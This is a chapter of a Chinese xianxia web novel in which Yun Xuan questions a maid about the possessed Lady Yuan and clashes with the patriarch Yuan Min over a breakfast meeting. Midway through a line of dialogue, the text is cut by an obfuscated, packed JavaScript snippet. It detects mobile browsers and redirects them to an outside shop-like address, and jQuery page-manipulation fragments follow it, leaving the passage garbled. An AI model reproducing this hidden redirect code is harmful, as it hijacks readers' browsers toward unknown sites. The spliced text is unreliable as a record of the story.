26.风起洛陵元宅疑窦生(8)
作品:《我怎么成修仙界救世主了》 “璇姑娘,老爷和夫人请您去正院用早膳。”
辰时刚过,雪瑞便登门造访,毕恭毕敬地站在一边等云璇答复。
元旻真是我行我素,同为修仙者,他怎生如此重口欲,还热衷于叫上旁人一起。
云璇听完顿感无语。
之前还装模作样地喊上其余四人,这次却直接说只请云璇去。
云璇才不想去,说好今日要去查偏院的。
“请璇姑娘走一趟吧,老爷交待了务必把您请过去。”
没听见云璇回答,雪瑞愈加恭顺,深垂着头颅,唯恐主子不悦。
“好吧。”
雪瑞这样说,云璇听了便有些不忍,元旻脾气暴躁,要是因此为难雪瑞岂不是她的过错。
再者说,元夫人这时而清醒时而糊涂的精神还存疑。
离开前,云璇和卫徵交待了起因,叮嘱他告诉宋杭一在偏院碰头。
卫徵倒是想跟,看他过来雪瑞就哭丧着脸,说家主只请璇姑娘,云璇就不许卫徵跟着了。
雪瑞在前头带着云璇,两人行经一处僻静小路时,她忽然停下,转过身来,一向低垂的眉眼直盯着云璇。
云璇心里一紧,别是有什么变故,手已按上腰间碧裁。
却见雪瑞直挺挺地跪下,仰面时已有泪痕,手心揪着云璇的裙角,“求璇姑娘救救我家夫人。”
云璇一头雾水,“什么意思。”
雪瑞抽泣几声,“奴婢怀疑,我家夫人被妖怪上身了。”
上身?云璇更加不明所以,若是妖怪占了元夫人的身子,没道理卫徵不说,元夫人可没擦什么香粉。
“你凭何如此推断。”
“我家夫人自从一年前落水,便性情大变,好些事都不记得,连我也不认得,万事不理,只一个劲地张罗妾室。”
雪瑞泣涕涟涟,说话便有些颠三倒四,好在云璇可以听懂。
“你没告诉元家主和夫人娘家吗?”
“他们哪里肯理我们夫人!是,夫人从前有些痴傻,可刚嫁进来时那也是聪明姑娘,还不是让人磋磨的。家主也就夫人落水后开始给他纳妾了,才又搭理我们夫人,那娘家更是盼着夫人死了,好把嫡出的四小姐嫁过来。”
云璇见雪瑞诉苦起来便收不住,越说越偏离,脸上眼泪却越汹涌,连忙把她扶起来,拿出手帕替她擦擦。
“别哭别哭,你好好说,你的意思是你家夫人以前就痴了?并不是最近才开始的,反而是最近清醒了,一年给元家主纳了七个妾?”
“是,求璇姑娘同上仙说说吧,以前就只有上仙肯照顾我们夫人,还特意送来养身茶,不然我们夫人还不知道成什么样子呢。”
雪瑞抽搭着终于将目的道出。她只是个婢女,即便在家主夫人面前得脸,也没那个能力联系上清莲上仙。
她从小就跟着元夫人,一起吃一起住,说是情同姐妹也不为过。
元夫人傻了之后正院的仆从能走的都走了,她心疼主子,不管粗活细活都是一手包揽,没让元夫人沾手一点。
也因此,她察觉到元夫人不对劲。
雪瑞知道云璇来了后,踌躇了两天才终于下定决心求过来。
“我可以帮元夫人看看,也可以帮你同我师尊报信,但你得回答我一个问题。”
雪瑞立刻止住哭,又扑通一声跪下,磕了三个响头。
“只要璇姑娘肯帮我家夫人,奴婢知无不言言无不尽。”
云璇拉她两把也没拉起来,只好蹲下和她说话。
“你家夫人乃是乙酉年嫁入元府的,算算也有五六十年了。烦请你仔细回想一下,如实和我说,元氏家主元旻,究竟有没有妹妹。”
雪瑞愣住了,睫毛上还挂着泪,定定地望着云璇,咬着唇挣扎了好一会,最终闭上眼,轻轻颔首。
“以前有的,二小姐,元知意,那时夫人还是少夫人。只是不知为何被前家主除名,再不许任何人提及。”
“二小姐从前和我家夫人最亲厚了,可惜她被除名没多久,夫人也痴了,互相帮忙也不能够。”
雪瑞想到此处,神情怅惘起来,语气里尽是惋惜。
若是元知意未被除名,还能护着元夫人,若是元夫人没有痴傻,也能替元知意说话。
可惜没如果。
雪瑞将云璇带到正院就匆匆离开,她需要整理仪容免得被主子看出异常。
不过很快就有别的侍女带云璇进了饭厅,元旻和元夫人围坐在八仙桌两侧,桌面上摆着各式早点。
元旻见云璇走进,笑着拉开圆凳,“可算来了,这菜都热过了。”
“元家主何必非等我一起,我已辟谷,无须进食。”
云璇方才听了一耳朵此人如何薄待发妻,自然没了好脸色。
“需不需要是一回事,喜不喜欢又是另一回事了,来,栗粉糕,你喜欢的吧?”
元旻观察过云璇吃东西,之前晚膳时就只吃糖藕甜皮鸭一类甜口饭菜,便猜测她嗜甜。
猜是猜对了,但云璇不想吃,只夹了一块放在碗里。
“元家主找我有何事,若只为早膳,我就不多留了,还有正事要办。”
说话间,云璇余光暗暗打量元夫人,她今日不见谢婉说的长袖善舞模样,依旧是愣愣地坐在座位上。
一旁侍女夹一筷子递到嘴边,她才张嘴吃进去,也不看是什么。
照雪瑞的说法,这是未被“上身”的时候,云璇又收回视线。
元旻慈祥地笑了一声,又给云璇添了一块巨胜奴,“要紧事倒没有。只是听说你昨日带人到倚竹苑去了?那不是姑母的院子吗,怎么就查到那去了。”
云璇料想元旻不会放任他们在宅邸内随意探查的,果然是处处眼线,去哪都有人给他报信。
“昨日宋道友查遍了府上住人的院落,我瞧着倚竹苑收拾得干净就也去看了,并不知道是师尊的院子。再者,也不好让师尊太过特别了吧。”
实话是不可能说的,云璇只能扯点谎先糊弄住这个绣花枕头。
“说得对说得对,我就说,云小友总不会疑心师长,连天下仙首都不信任。你是姑母的弟子,去看看也无妨,只是怎么能带着外人进去,若是传出去什么风言风语。”
“元氏的风评不要紧,你师尊的名声可不能不放在心上吗”
元旻今日态度多了几分倨傲,端起兄长的架子,拿清莲上仙说事,云璇听了心里便恼火起来。
“说起来,寻根究底,我到底还是外人,元家主又何必把我叫来吃什么早膳。”
“但有一点,我明着和你说,师尊是师尊,元氏是元氏,此番协查,可管不了你是哪门哪户,乐意也好,不乐意也罢,都得把门打开给我查
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17170923|196228||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
。”
云璇这话说得难听,元旻顿时意识到自己飘飘然,连忙放下茶碗。
“是我说错了,云小友见谅。你拜过元氏宗祠,自然是元氏人。我是担心姑母,口不择言了,但不论怎么说,元氏和姑母终究一体……”
话未尽,元旻止住言语,瞥向一旁的小厮侍女,一众人遂行礼,乌泱泱退出去。
元夫人没半点反应,侍女走了,她就坐在那发呆。
等周围脚步声渐歇,元旻才又开口。
“百年世家,难免龌龊,但总归没有大事,更不会牵涉魔族,查到什么,不要宣扬出去,尽管来找我商议便是。”
“同宗同脉,一荣俱荣,一损俱损。元氏干净,清莲上仙才能落得干净啊。”
元旻看出云璇并不在意祖宗祠堂,便没按原计划提什么同气连枝的话。
好歹刚刚说到清莲上仙时云璇是有反应的,他就又拿出来说道说道。
“清者自清,浊者自浊。我自不会放任谁抹黑我师尊。”
“自然自然,你懂得便好。”
云璇言罢,懒得再和他纠缠,起身就走。
元旻说了该说的,自觉任务完成,也没有阻拦。
云璇走到屋外,刚好碰见雪瑞在煎药,她看见云璇便站起来,迫切地询问,“怎么样璇姑娘,我家夫人怎么了。”
云璇摇摇头,“元夫人又是那副混沌样,看不出异常,戒铃未响,应该不是魔物。”
雪瑞失望的垂下头,“还是托璇姑娘问问上仙吧。”
这是答应人家的,云璇自然颔首,目光又落在那扑沸的药壶上,“那是元夫人的药?”
雪瑞忙回去熄灭火,从小嘴里倒出清澈的药液,“是夫人的养身茶。”
她特意掏出小杯,呈给云璇,“璇姑娘也喝,对身体好的。”
云璇接过,仰头饮尽,是熟悉的味道,与她在清莲峰喝到的一模一样。
云璇拿起一旁的筷子,拨弄壶里的药渣,大部分的药她都不认识,只是有一种药材明显分量更大,透明的根茎混在一堆黑乎乎的叶子里格外醒目。
“这是什么?”
“不知道,这都是上仙送来的,或许是仙草吧。”
云璇便没有过多纠结,她本就于草药一途上不通,这茶她是从仙门大比前开始喝的,也没觉得不适。
出了正院,云璇依照约定前往偏院,才发现前天走过的路已被家丁把守,来回巡逻,见她过来便拦下,抱拳一礼。
“璇姑娘,前方是元氏禁地,我等在此把守,您别误闯了。”
把守?
怎么先前不把守,偏他们去过了才把守,元旻看得也太紧,这不是此地无银三百两吗?
云璇四处看看,没见到卫徵几人,估摸他们回去了,就没硬闯。
回到客院,几人果然围在院子里,宋杭一摩拳擦掌地对云璇道,“这元氏宵小花样挺多,咱们等天黑,趁着月色溜进去。”
谢婉在一旁搭腔,看起来跃跃欲试,“对,翻墙进去。”
其实本来也要翻墙才能进,而且现在也能去翻。
云璇没说出这话,他们待在客院,却又对偏院格外关注,元旻拿不准他们究竟查到何种地步,不敢轻举妄动,才不会铤而走险去动偏院,只敢派人守着。
且等夜色笼盖,再行潜入。

